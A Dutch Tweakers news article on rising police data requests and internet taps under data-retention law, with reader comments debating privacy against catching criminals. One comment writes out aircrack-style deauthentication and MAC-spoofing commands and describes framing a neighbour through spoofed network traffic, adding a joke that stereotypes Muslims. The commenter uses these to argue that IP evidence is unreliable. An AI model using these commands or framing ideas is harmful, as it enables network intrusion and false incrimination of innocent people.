Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Politie vordert steeds vaker gegevens

De politie heeft in 2013 ruim 62.000 keer gegevens gevorderd. In de meeste gevallen ging het daarbij om zogenoemde historische gegevens, data die volgens de bewaarplicht moeten worden verzameld. Ook tapte de politie meer internetverbindingen af.

Het aantal vorderingen lag vorig jaar op ruim 62.000, waar dat er een jaar eerder nog bijna 57.000 waren, een stijging van tien procent. Ten opzichte van 2011 is het aantal vorderingen zelfs met een kwart toegenomen. Dat ontdekte Rejo Zenger van burgerrechtenorganisatie Bits of Freedom in een Kamerbrief uit juni; de passage was tot nu toe onopgemerkt gebleven.

In de meeste gevallen ging het bij de vorderingen om overhandiging van zogenoemde historische verkeersgegevens, al is niet precies duidelijk hoe groot het aandeel is. Bij historische verkeersgegevens kan het gaan om de vraag wie op een bepaald moment met wie belde of wie op een datum in het verleden achter een ip-adres zat. Internet- en telecomproviders moeten die data opslaan vanwege de bewaarplicht. Die wet is omstreden; het Europese Hof van Justitie zette een streep door de richtlijn waarop hij is gebaseerd. Het kabinet geeft toe dat de wet moet worden aangepast, maar in de tussentijd blijft hij van kracht.

Bij het aantal van 62.000 vorderingen zijn bevragingen van het CIOT niet meegenomen. Die database bevat de actuele naw-gegevens van elke internet- en telecomklant in Nederland. Elke dag vullen de providers die met nieuwe informatie. De politie kan data opvragen uit die database zonder daarvoor om een gerchtelijk bevel te hoeven vragen. In 2013 gebeurde dat maar liefst 2,3 miljoen keer.

Ook het aantal internettaps nam toe. Waar de politie in 2012 nog circa 17.000 internettaps plaatste, waren dat er vorig jaar bijna duizend meer. In 2011 werden nog maar 3300 internettaps geplaatst. Volgens het ministerie is de stijging te verklaren door het toegenomen gebruik van smartphones. Als die worden afgetapt, wordt zowel een tap geplaatst op de dataverbinding als op de telefoonlijn. Het aantal telefoontaps bleef overigens ongeveer gelijk.

Er zijn geen betrouwbare cijfers van vóór 2011 over het aantal vorderingen van gegevensverstrekking

Door Joost Schellevis

Redacteur

05-12-2014 • 09:13

97 Linkedin Google+

Reacties (97)

Wijzig sortering
Opzich een goede zaak, ik vind dat criminelen oppakken boven privacy staat. Persoonlijk zit ik er echt niet mee als een agentje kan zien wat voor sites ik bezoek, als er criminelen mee gepakt kunnen worden vind ik het helemaal niet erg.
Ik begrijp jou helemaal, en vroeger dacht ik ook zo.
Verdiep je eens in slachtoffers van identeitsfraude, zoals Ron Kowsoleea. Die zakenman werd 14 jaar lang opgepakt door politie omdat ze dachten dat hij een crimineel was: op de snelweg klemgereden door politie, met 35 man de voordeur inbeuken om te arresteren, contactverbod opleggen aan zijn klanten waardoor zijn bedrijf failliet ging en hij dakloos werd... noem maar op. Allemaal in Nederland. Weet je hoe makkelijk het was voor die crimineel om identiteitsfraude te plegen? Tijdens een verhoor identificeerde de crimineel zich met de naam en geboortedatum van de zakenman, en vanaf toen kwamen alle criminele activiteiten op naam van de zakenman te staan. Zo makkelijk is het. En nu, 20 jaar later, kan dat nog steeds. De rechtzaak loopt nog. Zoveel ellende.

Vergeet niet: als de overheid een fout maakt en jij bent onschuldig, dan heeft de computer van de overheid altijd gelijk, want: "computers maken nooit fouten".
Als iemand jouw WiFi hackt en kinderporno downloadt op jouw IP-adres, dan heeft het voor jou geen zin om te protesteren. Want de computer van de overheid zegt dat jouw IP-adres geregistreerd is, het computersysteem is nagekeken en bevat geen fouten, dus jij bent schuldig. Zelfs zonder bewijs kun je veroordeeld worden. Sterker nog: als jouw DNA niet overeenkomt met die van de echte dader, dan kun je alsnog worden veroordeeld. Vraag dat maar aan de mannen van de Puttense moordzaak. Door gebruik te maken van "onfeilbare technologie" zoals computers en DNA in combinatie met gebrek aan privacy vind ik ons juridisch stelsel heel eng worden.

Dus daarom vind ik dat privacy staat boven het oppakken van criminelen.
Ík heb niks te verbergen voor mensen die de wet niet maken, uitvoeren en handhaven.
Ik begrijp jou helemaal, maar er is zoveel meer om hierover te vertellen:
  • De overheid maakt fouten. Fouten maken is menselijk. Maar houd er wel rekening mee dat de wet niet voorziet in een traject voor mensen die onterecht zijn veroordeeld. Dat bewijst het verhaal van Ron Kowsoleeaa (zie link hierboven).
  • De wet is alleen gericht op criminelen, op mensen die slechte dingen doen etc. In Amerika verwoordt men dit heel mooi: "Anything you say can or will be used against you in the court of law". Dat roept de vraag op: zijn er ook dingen die in mijn voordeel worden gebruikt in plaats van in mijn nadeel? Bijvoorbeeld, als iemand jouw WiFi heeft gehackt en kinderporno heeft gedownload, dan geeft de politie bewijsmateriaal aan de rechter om te laten zien dat jij schuldig bent. Gaat de AIVD jou dan ook verdedigen door te zeggen "hey, wij hebben ander bewijs waaruit blijkt dat hij onschuldig is"? Kortom: als je opgepakt wordt en je bent 100% onschuldig, dan moet je echt veel moeite doen om tegenbewijs te verzamelen, want het bewijs is niet in jouw bezit. Degene die de data in handen heeft, is de winnaar.
  • Als je kijkt naar communistische landen, dan zie je het volgende patroon. Mensen leven in een commune. In die commune is er veel onderling toezicht maar ook toezicht door de overheid. Als je niks te verbergen hebt, dan heb je ook niets te vrezen. Gevolg: als je een brief stuurt naar iemand in Cuba, dan wordt de brief eerst door de overheid gelezen en daarna doorgestuurd. De overheid is dus wantrouwig naar burgers toe. Maar op een gegeven moment roept dit ook een wederzijds wantrouwen op, want waarom wil de overheid jouw post lezen terwijl je niets hebt gedaan? Waarom moeten de buren weten wie er bij jou op bezoek is geweest? Waarom komen mensen zomaar onaangekondigd mijn huis binnenlopen? Waarom tellen mensen stiekem hoeveel kokosnoten ik in mijn boom heb (antw: omdat als je je eigen kokosnoten eet, dan ontduik je belasting. Dus als iemand jouw kokosnoten steelt, dan denken jouw buren dat je belasting hebt ontdoken en ben je de klos. Zo kun je je buren trouwens ook een hak zetten).
  • Iemand die niets te verbergen heeft, zoals jij, vindt het dus ook niet erg dat de politie een inval doet in zijn woning. Houd er wel rekening mee dat de politie alle plinten in jouw woning losmaakt, de hele vloer wordt losgewrikt, je plafondplaten stukgeslagen om te zoeken naar drugs, je keukenblok wordt tijdens de werkzaamheden bekrast, je computers worden in beslag genomen etc. Een jaar later krijg je te horen dat je onschuldig bent, maar het gaat nog een paar jaar duren voordat je je computers weer terug krijgt (op papier had je ze al gisteren terug moeten hebben). Als al jouw administratie is meegenomen (ook digitaal), dan kan het lastig worden om je belastingaangifte in te dienen. De belastingdienst heeft daar niets mee te maken en legt jou een boete op wegens belastingontduiking. De 30k euro schade aan je woning wordt niet vergoed door de overheid, want er waren zoals altijd terechte redenen om aan te nemen dat jij een crimineel was dus de inval was gerechtvaardigd. Zoals je ziet, een controle kan je hele leven overhoop halen. "Maar de politie mag in mijn huis kijken, want ik heb toch niets te verbergen" --> lees de verhalen van onschuldige mensen die een bezoekje hebben gehad van de politie.
  • Fouten die gemaakt zijn door de overheid kunnen in de praktijk niet worden verhaald op de overheid (in theorie wel). De overheid is namelijk nergens verantwoordelijk of aansprakelijk voor.
Bovenstaande laat zien wat er gebeurt als je niets verbergt voor de overheid omdat je niets te vrezen hebt voor die overheid.


PS: hier heb ik het nog niet eens over corruptie, maar over de normale wettelijke gang van zaken.
Ik sprak laats iemand de door de politie verdacht was voor het illegaal opzetten van dieren verder dan verdacht zijn is het ook niet gekomen. Maar het schokkende was dat ze voor zo'n verdenking werkelijk waar al het email verkeer van hem en die van zijn vrouw van de afgelopen 5 jaar hadden na gelopen en daar zo'n 1000 pagina's (ja de politie geeft niet om bomen) van hadden uit geprint. Alles wat hij op marktplaats had gedaan hadden ze. Alle fora waar hij op gepost had eigenlijk alles wat de beste man had gedaan op internet was door de politie bemachtigd.
Ik vind dat behoorlijk ver gaan voor iets wat in mijn ogen redelijk onschuldig is.
De beste man was onschuldig en is niet veroordeeld, maar dit kan jou ook gebeuren. Vind je het dan nog steeds ok? Ik niet. En ik denk ook niet dat je er slimme criminelen mee gaat pakken.
Criminelen oppakken staat boven de privacy, maar wie zijn er de slachtoffers van deze data honger de criminelen of de mensen die onschuldig zijn.

edit typo

[Reactie gewijzigd door kaaas op 5 december 2014 15:36]

om het heel lomp te doen:

Airmon-ng <interface>
Nu weet ik je mac adres

aireplay-ng -0 <x paketten> -a <AP mac> -c <client mac>
Nu ben jij van je wifi afgetrapt zolang als dit doorgaat.

macchanger -m <mac>
Nu heeft mijn netwerkkaart jouw mac adres dus hoef ik alleen nog maar te verbinden :)

Het wachtwoord is slechts een kwestie van tijd.

Het gevaar dat ik nu zie is dat er vanuitgegaan wordt dat client x ook automatisch user x is terwijl alle info gespoofd kan worden.
Als voorbeeld, een tweaker heeft hekel aan de buurman en download/upload KP via zijn router met een gespoofd mac adres (en misschien nog wel meer zoals hostname, OS, browserversie etc.) om hem zo een oor aan te naaien dan denk ik dat de buurman geen schijn van kans heeft om zich daar tegen te verdedigen.
In het geval van moslims download je gewoon een anarchistisch kookboek en bestel je een snelkookpan ofzo... :9

[Reactie gewijzigd door the-dark-force op 5 december 2014 12:23]

Rijkswaterstaat heeft de kentekens. De politie mag deze echter slechts 1 dag bewaren.
Deze gegevens gaan eveneens naar Belastingdienst. Deze bewaart de gegevens 5 tot 7 jaar.
Justitie mag gegevens opvragen bij belastingdient.

Probleem opgelost.

""Al die data ligt gewoon bij de fiscus en geen haan die ernaar kraait. We hebben een monster gecreëerd", zegt één van hen."

http://www.privacynieuws....opsporingsinstanties.html
Het is een absurd getal, het zijn afgerond 170 aanvragen per dag en er is geen ambtenaar die in het weekend werkt. Ook zijn deze cijfers zonder data over het aantal opgeloste misdaden aan de hand van opgevraagde data nutteloos. Ik wil een verband kunnen zien tussen het opvragen van illegaal opgeslagen privé data en opgeloste echte criminaliteit per categorie. Dan kunnen we ook zien of de overheid bezig is met de straten veiliger maken of de schatkist verder te vullen.

Maar zelfs met 170 aanvragen per dag griezel ik van de hoeveelheid belastinggeld die hier aan verspild word. Er zijn te weinig prestaties van de politie in het nieuws om dit redelijkerwijs te compenseren.
Ja, want criminelen houden ook weekend en stoppen dan met hun doordeweekse activiteiten. Als het moet worden mensen continu in de gaten gehouden, dus ook in het weekend.
Op basis van 1 toegekend van een rechter kunnen best 100 telefoons worden gecontroleerd. Zeker bij een criminele bende die burner phones gebruikt kan na het oppakken van een verdacht bendelid alle telefoonnummers uit zijn burner phone in zo'n historisch verkeersysteem systeem worden natrokken om andere mededaders op te sporen.
Je hoeft dan natuurlijk niet voor elk nummer een aparte rechterlijke uitspraak te vragen.

De informatie over 60.000 opvragingen zegt eigenlijk niks als je ze niet kan linken aan een specifiek aantal onderzoeken van de politie.

Op dit item kan niet meer gereageerd worden.


Apple iPhone XS HTC U12+ dual sim LG W7 Google Pixel 3 XL OnePlus 6 Battlefield V Samsung Galaxy S10 Google Pixel 3

Tweakers vormt samen met Tweakers Elect, Hardware.Info, Autotrack, Nationale Vacaturebank en Intermediair de Persgroep Online Services B.V.
Alle rechten voorbehouden © 1998 - 2018 Hosting door True